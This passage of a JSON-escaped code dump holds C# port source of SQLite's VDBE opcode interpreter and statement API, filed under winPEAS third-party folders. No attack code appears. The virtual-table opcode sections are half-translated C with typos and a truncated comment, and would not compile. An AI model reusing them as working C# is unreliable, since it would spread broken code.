SQLITE_OMIT_SHARED_CACHE */\n\n#if ! SQLITE_OMIT_VIRTUALTABLE\n/* Opcode: VBegin * * * P4 *\n**\n** P4 may be a pointer to an sqlite3_vtab structure. If so, call the\n** xBegin method for that table.\n**\n** Also, whether or not P4 is set, check that this is not being called from\n** within a callback to a virtual table xSync() method. If it is, the error\n** code will be set to SQLITE_LOCKED.\n*/\ncase OP_VBegin: {\nVTable pVTab;\npVTab = pOp.p4.pVtab;\nrc = sqlite3VtabBegin(db, pVTab);\nif( pVTab !=null){\nsqlite3DbFree(db, p.zErrMsg);\np.zErrMsg = pVTab.pVtab.zErrMsg;\npVTab.pVtab.zErrMsg = null;\n}\nbreak;\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n#if ! SQLITE_OMIT_VIRTUALTABLE\n/* Opcode: VCreate P1 * * P4 *\n**\n** P4 is the name of a virtual table in database P1. Call the xCreate method\n** for that table.\n*/\ncase OP_VCreate: {\nrc = sqlite3VtabCallCreate(db, pOp.p1, pOp.p4.z, p.zErrMsg);\nbreak;\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n#if ! SQLITE_OMIT_VIRTUALTABLE\n/* Opcode: VDestroy P1 * * P4 *\n**\n** P4 is the name of a virtual table in database P1.  Call the xDestroy method\n** of that table.\n*/\ncase OP_VDestroy: {\np.inVtabMethod = 2;\nrc = sqlite3VtabCallDestroy(db, pOp.p1, pOp.p4.z);\np.inVtabMethod = 0;\nbreak;\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n#if ! SQLITE_OMIT_VIRTUALTABLE\n/* Opcode: VOpen P1 * * P4 *\n**\n** P4 is a pointer to a virtual table object, an sqlite3_vtab structure.\n** P1 is a cursor number.  This opcode opens a cursor to the virtual\n** table and stores that cursor in P1.\n*/\ncase OP_VOpen: {\nVdbeCursor *pCur;\nsqlite3_vtab_cursor *pVtabCursor;\nsqlite3_vtab *pVtab;\nsqlite3_module *pModule;\n\npCur = 0;\npVtabCursor = 0;\npVtab = pOp.p4.pVtab.pVtab;\npModule = (sqlite3_module *)pVtab.pModule;\nDebug.Assert(pVtab && pModule);\nif( sqlite3SafetyOff(db) ) goto abort_due_to_misuse;\nrc = pModulE.xOpen(pVtab, pVtabCursor);\n//sqlite3DbFree(db, p.zErrMsg);\np.zErrMsg = pVtab.zErrMsg;\npVtab.zErrMsg = 0;\nif( sqlite3SafetyOn(db) ) goto abort_due_to_misuse;\nif( SQLITE_OK==rc ){\n/* Initialize sqlite3_vtab_cursor base class */\npVtabCursor.pVtab = pVtab;\n\n/* Initialise vdbe cursor object */\npCur = allocateCursor(p, pOp.p1, 0, -1, 0);\nif( pCur ){\npCur.pVtabCursor = pVtabCursor;\npCur.pModule = pVtabCursor.pVtab.pModule;\n}else{\ndb.mallocFailed = 1;\npModulE.xClose(pVtabCursor);\n}\n}\nbreak;\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n#if ! SQLITE_OMIT_VIRTUALTABLE\n/* Opcode: VFilter P1 P2 P3 P4 *\n**\n** P1 is a cursor opened using VOpen.  P2 is an address to jump to if\n** the filtered result set is empty.\n**\n** P4 is either NULL or a string that was generated by the xBestIndex\n** method of the module.  The interpretation of the P4 string is left\n** to the module implementation.\n**\n** This opcode invokes the xFilter method on the virtual table specified\n** by P1.  The integer query plan parameter to xFilter is stored in register\n** P3. Register P3+1 stores the argc parameter to be passed to the\n** xFilter method. Registers P3+2..P3+1+argc are the argc\n** additional parameters which are passed to\n** xFilter as argv. Register P3+2 becomes argv[0] when passed to xFilter.\n**\n** A jump is made to P2 if the result set after filtering would be empty.\n*/\ncase OP_VFilter: {   /* jump */\nint nArg;\nint iQuery;\nconst sqlite3_module *pModule;\nMem *pQuery;\nMem *pArgc;\nsqlite3_vtab_cursor *pVtabCursor;\nsqlite3_vtab *pVtab;\nVdbeCursor *pCur;\nint res;\nint i;\nMem **apArg;\n\npQuery = &p.aMem[pOp.p3];\npArgc = &pQuery[1];\npCur = p.apCsr[pOp.p1];\nREGISTER_TRACE(pOp.p3, pQuery);\nDebug.Assert(pCur.pVtabCursor );\npVtabCursor = pCur.pVtabCursor;\npVtab = pVtabCursor.pVtab;\npModule = pVtab.pModule;\n\n/* Grab the index number and argc parameters */\nDebug.Assert((pQuery.flags&MEM_Int)!=0 && pArgc.flags==MEM_Int );\nnArg = (int)pArgc.u.i;\niQuery = (int)pQuery.u.i;\n\n/* Invoke th  /\n{\nres = 0;\napArg = p.apArg;\nfor(i = 0; i<nArg; i++){\napArg[i] = pArgc[i+1];\nstoreTypeInfo(apArg[i], 0);\n}\n\nif( sqlite3SafetyOff(db) ) goto abort_due_to_misuse;\np.inVtabMethod = 1;\nrc = pModulE.xFilter(pVtabCursor, iQuery, pOp.p4.z, nArg, apArg);\np.inVtabMethod = 0;\n//sqlite3DbFree(db, p.zErrMsg);\np.zErrMsg = pVtab.zErrMsg;\npVtab.zErrMsg = 0;\nif( rc==SQLITE_OK ){\nres = pModulE.xEof(pVtabCursor);\n}\nif( sqlite3SafetyOn(db) ) goto abort_due_to_misuse;\n\nif( res ){\npc = pOp.p2 - 1;\n}\n}\npCur.nullRow = 0;\nbreak;\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n#if ! SQLITE_OMIT_VIRTUALTABLE\n/* Opcode: VColumn P1 P2 P3 * *\n**\n** Store the value of the P2-th column of\n** the row of the virtual-table that the\n** P1 cursor is pointing to into register P3.\n*/\ncase OP_VColumn: {\nsqlite3_vtab pVtab;\nconst sqlite3_module pModule;\nMem pDest;\nsqlite3_context sContext;\n\nVdbeCursor pCur = p.apCsr[pOp.p1];\nDebug.Assert(pCur.pVtabCursor );\nDebug.Assert(pOp.p3>0 && pOp.p3<=p.nMem );\npDest = p.aMem[pOp.p3];\nif( pCur.nullRow ){\nsqlite3VdbeMemSetNull(pDest);\nbreak;\n}\npVtab = pCur.pVtabCursor.pVtab;\npModule = pVtab.pModule;\nDebug.Assert(pModulE.xColumn );\nmemset(&sContext, 0, sizeof(sContext));\n\n/* The output cell may already have a buffer allocated. Move\n** the current contents to sContext.s so in case the user-function\n** can use the already allocated buffer instead of allocating a\n** new one.\n*/\nsqlite3VdbeMemMove(&sContext.s, pDest);\nMemSetTypeFlag(&sContext.s, MEM_Null);\n\nif( sqlite3SafetyOff(db) ) goto abort_due_to_misuse;\nrc = pModulE.xColumn(pCur.pVtabCursor, sContext, pOp.p2);\n//sqlite3DbFree(db, p.zErrMsg);\np.zErrMsg = pVtab.zErrMsg;\npVtab.zErrMsg = 0;\nif( sContext.isError ){\nrc = sContext.isError;\n}\n\n/* Copy the result of the function to the P3 register. We\n** do this regardless of whether or not an error occurred to ensure any\n** dynamic allocation in sContext.s (a Mem struct) is  released.\n*/\nsqlite3VdbeChangeEncoding(&sContext.s, encoding);\nREGISTER_TRACE(pOp.p3, pDest);\nsqlite3VdbeMemMove(pDest, sContext.s);\nUPDATE_MAX_BLOBSIZE(pDest);\n\nif( sqlite3SafetyOn(db) ){\ngoto abort_due_to_misuse;\n}\nif( sqlite3VdbeMemTooBig(pDest) ){\ngoto too_big;\n}\nbreak;\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n#if ! SQLITE_OMIT_VIRTUALTABLE\n/* Opcode: VNext P1 P2 * * *\n**\n** Advance virtual table P1 to the next row in its result set and\n** jump to instruction P2.  Or, if the virtual table has reached\n** the end of its result set, then fall through to the next instruction.\n*/\ncase OP_VNext: {   /* jump */\nsqlite3_vtab *pVtab;\nconst sqlite3_module *pModule;\nint res;\nVdbeCursor *pCur;\n\nres = 0;\npCur = p.apCsr[pOp.p1];\nDebug.Assert( pCur.pVtabCursor );\nif( pCur.nullRow ){\nbreak;\n}\npVtab = pCur.pVtabCursor.pVtab;\npModule = pVtab.pModule;\nDebug.Assert(pModulE.xNext );\n\n/* Invoke the xNext() method of the module. There is no way for the\n** underlying implementation to return an error if one occurs during\n** xNext(). Instead, if an error occurs, true is returned (indicating that\n** data is available) and the error code returned when xColumn or\n** some other method is next invoked on the save virtual table cursor.\n*/\nif( sqlite3SafetyOff(db) ) goto abort_due_to_misuse;\np.inVtabMethod = 1;\nrc = pModulE.xNext(pCur.pVtabCursor);\np.inVtabMethod = 0;\n//sqlite3DbFree(db, p.zErrMsg);\np.zErrMsg = pVtab.zErrMsg;\npVtab.zErrMsg = 0;\nif( rc==SQLITE_OK ){\nres = pModulE.xEof(pCur.pVtabCursor);\n}\nif( sqlite3SafetyOn(db) ) goto abort_due_to_misuse;\n\nif( !res ){\n/* If there is data, jump to P2 */\npc = pOp.p2 - 1;\n}\nbreak;\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n#if ! SQLITE_OMIT_VIRTUALTABLE\n/* Opcode: VRename P1 * * P4 *\n**\n** P4 is a pointer to a virtual table object, an sqlite3_vtab structure.\n** This opcode invokes the corresponding xRename method. The value\n** in register P1 is passed as the zName argument to the xRename method.\n*/\ncase OP_VRename: {\nsqlite3_vtab *pVtab;\nMem *pName;\n\npVtab = pOp.p4.pVtab.pVtab;\npName = &p.aMem[pOp.p1];\nDebug.Assert( pVtab.pModule.xRename );\nREGISTER_TRACE(pOp.p1, pName);\nDebug.Assert( pName.flags & MEM_Str );\nif( sqlite3SafetyOff(db) ) goto abort_due_to_misuse;\nrc = pVtab.pModulE.xRename(pVtab, pName.z);\n//sqlite3DbFree(db, p.zErrMsg);\np.zErrMsg = pVtab.zErrMsg;\npVtab.zErrMsg = 0;\nif( sqlite3SafetyOn(db) ) goto abort_due_to_misuse;\n\nbreak;\n}\n#endif\n\n#if ! SQLITE_OMIT_VIRTUALTABLE\n/* Opcode: VUpdate P1 P2 P3 P4 *\n**\n** P4 is a pointer to a virtual table object, an sqlite3_vtab structure.\n** This opcode invokes the corresponding xUpdate method. P2 values\n** are contiguous memory cells starting at P3 to pass to the xUpdate\n** invocation. The value in register (P3+P2-1) corresponds to the\n** p2th element of the argv array passed to xUpdate.\n**\n** The xUpdate method will do a DELETE or an INSERT or both.\n** The argv[0] element (which corresponds to memory cell P3)\n** is the rowid of a row to delete.  If argv[0] is NULL then no\n** deletion occurs.  The argv[1] element is the rowid of the new\n** row.  This can be NULL to have the virtual table select the new\n** rowid for itself.  The subsequent elements in the array are\n** the values of columns in the new row.\n**\n** If P2==1 then no insert is performed.  argv[0] is the rowid of\n** a row to delete.\n**\n** P1 is a boolean flag. If it is set to true and the xUpdate call\n** is successful, then the value returned by sqlite3_last_insert_rowid()\n** is set to the value of the rowid for the row just inserted.\n*/\ncase OP_VUpdate: {\nsqlite3_vtab *pVtab;\nsqlite3_module *pModule;\nint nArg;\nint i;\nsqlite_int64 rowid;\nMem **apArg;\nMem *pX;\n\npVtab = pOp.p4.pVtab.pVtab;\npModule = (sqlite3_module *)pVtab.pModule;\nnArg = pOp.p2;\nDebug.Assert( pOp.p4type==P4_VTAB );\nif( ALWAYS(pModule.xUpdate) ){\napArg = p.apArg;\npX = &p.aMem[pOp.p3];\nfor(i=0; i<nArg; i++){\nstoreTypeInfo(pX, 0);\napArg[i] = pX;\npX++;\n}\nif( sqlite3SafetyOff(db) ) goto abort_due_to_misuse;\nrc = pModule.xUpdate(pVtab, nArg, apArg, &rowid);\n//sqlite3DbFree(db, p.zErrMsg);\np.zErrMsg = pVtab.zErrMsg;\npVtab.zErrMsg = 0;\nif( sqlite3SafetyOn(db) ) goto abort_due_to_misuse;\nif( rc==SQLITE_OK && pOp.p1 ){\nDebug.Assert( nArg>1 && apArg[0] && (apArg[0].flags&MEM_Null) );\ndb.lastRowid = rowid;\n}\np.nChange++;\n}\nbreak;\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n#if !SQLITE_OMIT_PAGER_PRAGMAS\n          /* Opcode: Pagecount P1 P2 * * *\n**\n** Write the current number of pages in database P1 to memory cell P2.\n*/\n          case OP_Pagecount:\n            {            /* out2-prerelease */\n              int p1;\n              int nPage = 0;\n              Pager pPager;\n\n              p1 = pOp.p1;\n              pPager = sqlite3BtreePager( db.aDb[p1].pBt );\n              rc = sqlite3PagerPagecount( pPager, ref nPage );\n              /* OP_Pagecount is always called from within a read transaction.  The\n              ** page count has already been successfully read and cached.  So the\n              ** sqlite3PagerPagecount() call above cannot fail. */\n              if ( ALWAYS( rc == SQLITE_OK ) )\n              {\n                pOut.flags = MEM_Int;\n                pOut.u.i = nPage;\n              }\n              break;\n            }\n#endif\n\n\n#if !SQLITE_OMIT_TRACE\n          /* Opcode: Trace * * * P4 *\n**\n** If tracing is enabled (by the sqlite3_trace()) interface, then\n** the UTF-8 string contained in P4 is emitted on the trace callback.\n*/\n          case OP_Trace:\n            {\n              string zTrace;\n\n              zTrace = ( pOp.p4.z != null ? pOp.p4.z : p.zSql );\n              if ( !String.IsNullOrEmpty( zTrace ) )\n              {\n                if ( db.xTrace != null )\n                {\n                  db.xTrace( db.pTraceArg, zTrace );\n                }\n#if SQLITE_DEBUG\n                if ( ( db.flags & SQLITE_SqlTrace ) != 0 )\n                {\n                  sqlite3DebugPrintf( \"SQL-trace: %s\\n\", zTrace );\n                }\n#endif // * SQLITE_DEBUG */\n              }\n              break;\n            }\n#endif\n\n\n          /* Opcode: Noop * * * * *\n**\n** Do nothing.  This instruction is often useful as a jump\n** destination.\n*/\n          /*\n          ** The magic Explain opcode are only inserted when explain==2 (which\n          ** is to say when the EXPLAIN QUERY PLAN syntax is used.)\n          ** This opcode records information from the optimizer.  It is the\n          ** the same as a no-op.  This opcodesnever appears in a real VM program.\n          */\n          default:\n            {          /* This is really OP_Noop and OP_Explain */\n              break;\n            }\n\n          /*****************************************************************************\n          ** The cases of the switch statement above this line should all be indented\n          ** by 6 spaces.  But the left-most 6 spaces have been removed to improve the\n          ** readability.  From this point on down, the normal indentation rules are\n          ** restored.\n          *****************************************************************************/\n        }\n\n#if VDBE_PROFILE\n{\nu64 elapsed = sqlite3Hwtime() - start;\npOp.cycles += elapsed;\npOp.cnt++;\n#if  FALSE\nfprintf(stdout, \"%10llu \", elapsed);\nsqlite3VdbePrintOp(stdout, origPc, p.aOp[origPc]);\n#endif\n}\n#endif\n\n        /* The following code adds nothing to the actual functionality\n** of the program.  It is only here for testing and debugging.\n** On the other hand, it does burn CPU cycles every time through\n** the evaluator loop.  So we can leave it out when NDEBUG is defined.\n*/\n#if !NDEBUG\n        Debug.Assert( pc >= -1 && pc < p.nOp );\n\n#if SQLITE_DEBUG\n        if ( p.trace != null )\n        {\n          if ( rc != 0 ) fprintf( p.trace, \"rc=%d\\n\", rc );\n          if ( ( opProperty & OPFLG_OUT2_PRERELEASE ) != 0 )\n          {\n            registerTrace( p.trace, pOp.p2, pOut );\n          }\n          if ( ( opProperty & OPFLG_OUT3 ) != 0 )\n          {\n            registerTrace( p.trace, pOp.p3, pOut );\n          }\n        }\n#endif  // * SQLITE_DEBUG */\n#endif  // * NDEBUG */\n      }  /* The end of the for(;;) loop the loops through opcodes */\n\n            /* If we reach this point, it means that execution is finished with\n            ** an error of some kind.\n            */\nvdbe_error_halt:\n      Debug.Assert( rc != 0 );\n      p.rc = rc;\n      sqlite3VdbeHalt( p );\n      //if ( rc == SQLITE_IOERR_NOMEM ) db.mallocFailed = 1;\n      rc = SQLITE_ERROR;\n\n      /* This is the only way out of this procedure.  We have to\n      ** release the mutexes on btrees that were acquired at the\n      ** top. */\nvdbe_return:\n      sqlite3BtreeMutexArrayLeave( p.aMutex );\n      return rc;\n\n      /* Jump to here if a string or blob larger than db.aLimit[SQLITE_LIMIT_LENGTH]\n      ** is encountered.\n      */\ntoo_big:\n      sqlite3SetString( ref p.zErrMsg, db, \"string or blob too big\" );\n      rc = SQLITE_TOOBIG;\n      goto vdbe_error_halt;\n\n      /* Jump to here if a malloc() fails.\n      */\nno_mem:\n      //db.mallocFailed = 1;\n      sqlite3SetString( ref p.zErrMsg, db, \"out of memory\" );\n      rc = SQLITE_NOMEM;\n      goto vdbe_error_halt;\n\n#if SQLITE_DEBUG\n/* Jump to here for an SQLITE_MISUSE error.\n*/\nabort_due_to_misuse:\n      rc = SQLITE_MISUSE;\n#endif\n\n/* Fall thru into abort_due_to_error */\n\n      /* Jump to here for any other kind of fatal error.  The \"rc\" variable\n      ** should hold the error number.\n      */\nabort_due_to_error:\n      //Debug.Assert( p.zErrMsg); /// Not needed in C#\n      //if ( db.mallocFailed != 0 ) rc = SQLITE_NOMEM;\n      if ( rc != SQLITE_IOERR_NOMEM )\n      {\n        sqlite3SetString( ref p.zErrMsg, db, \"%s\", sqlite3ErrStr( rc ) );\n      }\n      goto vdbe_error_halt;\n\n      /* Jump to here if the sqlite3_interrupt() API sets the interrupt\n      ** flag.\n      */\nabort_due_to_interrupt:\n      Debug.Assert( db.u1.isInterrupted );\n      rc = SQLITE_INTERRUPT;\n      p.rc = rc;\n      sqlite3SetString( ref p.zErrMsg, db, sqlite3ErrStr( rc ) );\n      goto vdbe_error_halt;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/vdbeapi_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u64 = System.UInt64;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using Op = CSSQLite.VdbeOp;\n  using sqlite3_value = CSSQLite.Mem;\n  using sqlite3_stmt = CSSQLite.Vdbe;\n  using sqlite_int64 = System.Int64;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2004 May 26\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains code use to implement APIs that are part of the\n    ** VDBE.\n    **\n    ** $Id: vdbeapi.c,v 1.167 2009/06/25 01:47:12 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include \"vdbeInt.h\"\n\n#if !SQLITE_OMIT_DEPRECATED\n    /*\n** Return TRUE (non-zero) of the statement supplied as an argument needs\n** to be recompiled.  A statement needs to be recompiled whenever the\n** execution environment changes in a way that would alter the program\n** that sqlite3_prepare() generates.  For example, if new functions or\n** collating sequences are registered or if an authorizer function is\n** added or changed.\n*/\n    static int sqlite3_expired( sqlite3_stmt pStmt )\n    {\n      Vdbe p = (Vdbe)pStmt;\n      return ( p == null || p.expired ) ? 1 : 0;\n    }\n#endif\n    /*\n** The following routine destroys a virtual machine that is created by\n** the sqlite3_compile() routine. The integer returned is an SQLITE_\n** success/failure code that describes the result of executing the virtual\n** machine.\n**\n** This routine sets the error code and string returned by\n** sqlite3_errcode(), sqlite3_errmsg() and sqlite3_errmsg16().\n*/\n    public static int sqlite3_finalize( ref sqlite3_stmt pStmt )\n    {\n      int rc;\n      if ( pStmt == null )\n      {\n        rc = SQLITE_OK;\n      }\n      else\n      {\n        Vdbe v = pStmt;\n        sqlite3 db = v.db;\n#if  SQLITE_THREADSAFE\nsqlite3_mutex mutex = v.db.mutex;\n#endif\n        sqlite3_mutex_enter( mutex );\n        rc = sqlite3VdbeFinalize( v );\n        rc = sqlite3ApiExit( db, rc );\n        sqlite3_mutex_leave( mutex );\n      }\n      return rc;\n    }\n\n    /*\n    ** Terminate the current execution of an SQL statement and reset it\n    ** back to its starting state so that it can be reused. A success code from\n    ** the prior execution is returned.\n    **\n    ** This routine sets the error code and string returned by\n    ** sqlite3_errcode(), sqlite3_errmsg() and sqlite3_errmsg16().\n    */\n    public static int sqlite3_reset( sqlite3_stmt pStmt )\n    {\n      int rc;\n      if ( pStmt == null )\n      {\n        rc = SQLITE_OK;\n      }\n      else\n      {\n        Vdbe v = (Vdbe)pStmt;\n        sqlite3_mutex_enter( v.db.mutex );\n        rc = sqlite3VdbeReset( v );\n        sqlite3VdbeMakeReady( v, -1, 0, 0, 0 );\n        Debug.Assert( ( rc & ( v.db.errMask ) ) == rc );\n        rc = sqlite3ApiExit( v.db, rc );\n        sqlite3_mutex_leave( v.db.mutex );\n      }\n      return rc;\n    }\n\n    /*\n    ** Set all the parameters in the compiled SQL statement to NULL.\n    */\n    static int sqlite3_clear_bindings( sqlite3_stmt pStmt )\n    {\n      int i;\n      int rc = SQLITE_OK;\n      Vdbe p = (Vdbe)pStmt;\n#if  SQLITE_THREADSAFE\nsqlite3_mutex mutex = ( (Vdbe)pStmt ).db.mutex;\n#endif\n      sqlite3_mutex_enter( mutex );\n      for ( i = 0 ; i < p.nVar ; i++ )\n      {\n        sqlite3VdbeMemRelease( p.aVar[i] );\n        p.aVar[i].flags = MEM_Null;\n      }\n      sqlite3_mutex_leave( mutex );\n      return rc;\n    }\n\n\n    /**************************** sqlite3_value_  *******************************\n    ** The following routines extract information from a Mem or sqlite3_value\n    ** structure.\n    */\n    public static byte[] sqlite3_value_blob( sqlite3_value pVal )\n    {\n      Mem p = pVal;\n      if ( ( p.flags & ( MEM_Blob | MEM_Str ) ) != 0 )\n      {\n        sqlite3VdbeMemExpandBlob( p );\n        if ( p.zBLOB == null && p.z != null )\n        {\n          if ( p.z.Length == 0 ) p.zBLOB = new byte[1];\n          else\n          {\n            p.zBLOB = new byte[p.z.Length];\n            for ( int i = 0 ; i < p.zBLOB.Length ; i++ ) p.zBLOB[i] = (u8)p.z[i];\n          } p.z = null;\n        }\n        p.flags = (u16)( p.flags & ~MEM_Str );\n        p.flags |= MEM_Blob;\n        return p.zBLOB;\n      }\n      else\n      {\n        return sqlite3_value_text( pVal ) == null ? null : Encoding.UTF8.GetBytes( sqlite3_value_text( pVal ) );\n      }\n    }\n    public static int sqlite3_value_bytes( sqlite3_value pVal )\n    {\n      return sqlite3ValueBytes( pVal, SQLITE_UTF8 );\n    }\n    public static int sqlite3_value_bytes16( sqlite3_value pVal )\n    {\n      return sqlite3ValueBytes( pVal, SQLITE_UTF16NATIVE );\n    }\n    public static double sqlite3_value_double( sqlite3_value pVal )\n    {\n      return sqlite3VdbeRealValue( pVal );\n    }\n    public static int sqlite3_value_int( sqlite3_value pVal )\n    {\n      return (int)sqlite3VdbeIntValue( pVal );\n    }\n    public static sqlite_int64 sqlite3_value_int64( sqlite3_value pVal )\n    {\n      return sqlite3VdbeIntValue( pVal );\n    }\n    public static string sqlite3_value_text( sqlite3_value pVal )\n    {\n      return sqlite3ValueText( pVal, SQLITE_UTF8 );\n    }\n#if  !SQLITE_OMIT_UTF16\nstatic string sqlite3_value_text16(sqlite3_value pVal){\nreturn sqlite3ValueText(pVal, SQLITE_UTF16NATIVE);\n}\nstatic string  sqlite3_value_text16be(sqlite3_value pVal){\nreturn sqlite3ValueText(pVal, SQLITE_UTF16BE);\n}\nstatic string sqlite3_value_text16le(sqlite3_value pVal){\nreturn sqlite3ValueText(pVal, SQLITE_UTF16LE);\n}\n#endif // * SQLITE_OMIT_UTF16 */\n    public static int sqlite3_value_type( sqlite3_value pval )\n    {\n      return pval.type;\n    }\n\n    /**************************** sqlite3_result_  *******************************\n    ** The following routines are used by user-defined functions to specify\n    ** the function result.\n    **\n    ** The setStrOrError() funtion calls sqlite3VdbeMemSetStr() to store the\n    ** result as a string or blob but if the string or blob is too large, it\n    ** then sets the error code to SQLITE_TOOBIG\n    */\n    static void setResultStrOrError(\n    sqlite3_context pCtx,   /* Function context */\n    string z,               /* String pointer */\n    int n,                  /* Bytes in string, or negative */\n    u8 enc,                 /* Encoding of z.  0 for BLOBs */\n    dxDel xDel //void (*xDel)(void*)     /* Destructor function */\n    )\n    {\n      if ( sqlite3VdbeMemSetStr( pCtx.s, z, n, enc, xDel ) == SQLITE_TOOBIG )\n      {\n        sqlite3_result_error_toobig( pCtx );\n      }\n    }\n    public static void sqlite3_result_blob(\n    sqlite3_context pCtx,\n    string z,\n    int n,\n    dxDel xDel\n    )\n    {\n      Debug.Assert( n >= 0 );\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      setResultStrOrError( pCtx, z, n, 0, xDel );\n    }\n    public static void sqlite3_result_double( sqlite3_context pCtx, double rVal )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      sqlite3VdbeMemSetDouble( pCtx.s, rVal );\n    }\n    public static void sqlite3_result_error( sqlite3_context pCtx, string z, int n )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      setResultStrOrError( pCtx, z, n, SQLITE_UTF8, SQLITE_TRANSIENT );\n      pCtx.isError = SQLITE_ERROR;\n    }\n#if  !SQLITE_OMIT_UTF16\n//void sqlite3_result_error16(sqlite3_context pCtx, const void *z, int n){\n//  Debug.Assert( sqlite3_mutex_held(pCtx.s.db.mutex) );\n//  pCtx.isError = SQLITE_ERROR;\n//  sqlite3VdbeMemSetStr(pCtx.s, z, n, SQLITE_UTF16NATIVE, SQLITE_TRANSIENT);\n//}\n#endif\n    static void sqlite3_result_int( sqlite3_context pCtx, int iVal )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      sqlite3VdbeMemSetInt64( pCtx.s, (i64)iVal );\n    }\n    static void sqlite3_result_int64( sqlite3_context pCtx, i64 iVal )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      sqlite3VdbeMemSetInt64( pCtx.s, iVal );\n    }\n    static void sqlite3_result_null( sqlite3_context pCtx )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      sqlite3VdbeMemSetNull( pCtx.s );\n    }\n\n    public static void sqlite3_result_text(\n    sqlite3_context pCtx,\n    string z,\n    int n,\n    dxDel xDel\n    )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      setResultStrOrError( pCtx, z, n, SQLITE_UTF8, xDel );\n    }\n#if  !SQLITE_OMIT_UTF16\nvoid sqlite3_result_text16(\nsqlite3_context pCtx,\nstring z,\nint n,\ndxDel xDel\n){\nDebug.Assert( sqlite3_mutex_held(pCtx.s.db.mutex) );\nsqlite3VdbeMemSetStr(pCtx.s, z, n, SQLITE_UTF16NATIVE, xDel);\n}\nvoid sqlite3_result_text16be(\nsqlite3_context pCtx,\nstring z,\nint n,\ndxDel xDel\n){\nDebug.Assert( sqlite3_mutex_held(pCtx.s.db.mutex) );\nsqlite3VdbeMemSetStr(pCtx.s, z, n, SQLITE_UTF16BE, xDel);\n}\nvoid sqlite3_result_text16le(\nsqlite3_context pCtx,\nstring z,\nint n,\ndxDel xDel\n){\nDebug.Assert( sqlite3_mutex_held(pCtx.s.db.mutex) );\nsqlite3VdbeMemSetStr(pCtx.s, z, n, SQLITE_UTF16LE, xDel);\n}\n#endif // * SQLITE_OMIT_UTF16 */\n    static void sqlite3_result_value( sqlite3_context pCtx, sqlite3_value pValue )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      sqlite3VdbeMemCopy( pCtx.s, pValue );\n    }\n    static void sqlite3_result_zeroblob( sqlite3_context pCtx, int n )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      sqlite3VdbeMemSetZeroBlob( pCtx.s, n );\n    }\n    static void sqlite3_result_error_code( sqlite3_context pCtx, int errCode )\n    {\n      pCtx.isError = errCode;\n      if ( ( pCtx.s.flags & MEM_Null ) != 0 )\n      {\n        setResultStrOrError( pCtx, sqlite3ErrStr( errCode ), -1,\n           SQLITE_UTF8, SQLITE_STATIC );\n      }\n    }\n\n    /* Force an SQLITE_TOOBIG error. */\n    static void sqlite3_result_error_toobig( sqlite3_context pCtx )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      pCtx.isError = SQLITE_ERROR;\n      setResultStrOrError( pCtx, \"string or blob too big\", -1,\n      SQLITE_UTF8, SQLITE_STATIC );\n    }\n\n    /* An SQLITE_NOMEM error. */\n    static void sqlite3_result_error_nomem( sqlite3_context pCtx )\n    {\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      sqlite3VdbeMemSetNull( pCtx.s );\n      pCtx.isError = SQLITE_NOMEM;\n      //pCtx.s.db.mallocFailed = 1;\n    }\n\n    /*\n    ** Execute the statement pStmt, either until a row of data is ready, the\n    ** statement is completely executed or an error occurs.\n    **\n    ** This routine implements the bulk of the logic behind the sqlite_step()\n    ** API.  The only thing omitted is the automatic recompile if a\n    ** schema change has occurred.  That detail is handled by the\n    ** outer sqlite3_step() wrapper procedure.\n    */\n    static int sqlite3Step( Vdbe p )\n    {\n      sqlite3 db;\n      int rc;\n\n      Debug.Assert( p != null );\n      if ( p.magic != VDBE_MAGIC_RUN )\n      {\n        return SQLITE_MISUSE;\n      }\n\n      /* Assert that malloc() has not failed */\n      db = p.db;\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  return SQLITE_NOMEM;\n      //}\n\n      if ( p.pc <= 0 && p.expired )\n      {\n        if ( ALWAYS( p.rc == SQLITE_OK ) )\n        {\n          p.rc = SQLITE_SCHEMA;\n        }\n        rc = SQLITE_ERROR;\n        goto end_of_step;\n      }\n      if ( sqlite3SafetyOn( db ) )\n      {\n        p.rc = SQLITE_MISUSE;\n        return SQLITE_MISUSE;\n      }\n      if ( p.pc < 0 )\n      {\n        /* If there are no other statements currently running, then\n        ** reset the interrupt flag.  This prevents a call to sqlite3_interrupt\n        ** from interrupting a statement that has not yet started.\n        */\n        if ( db.activeVdbeCnt == 0 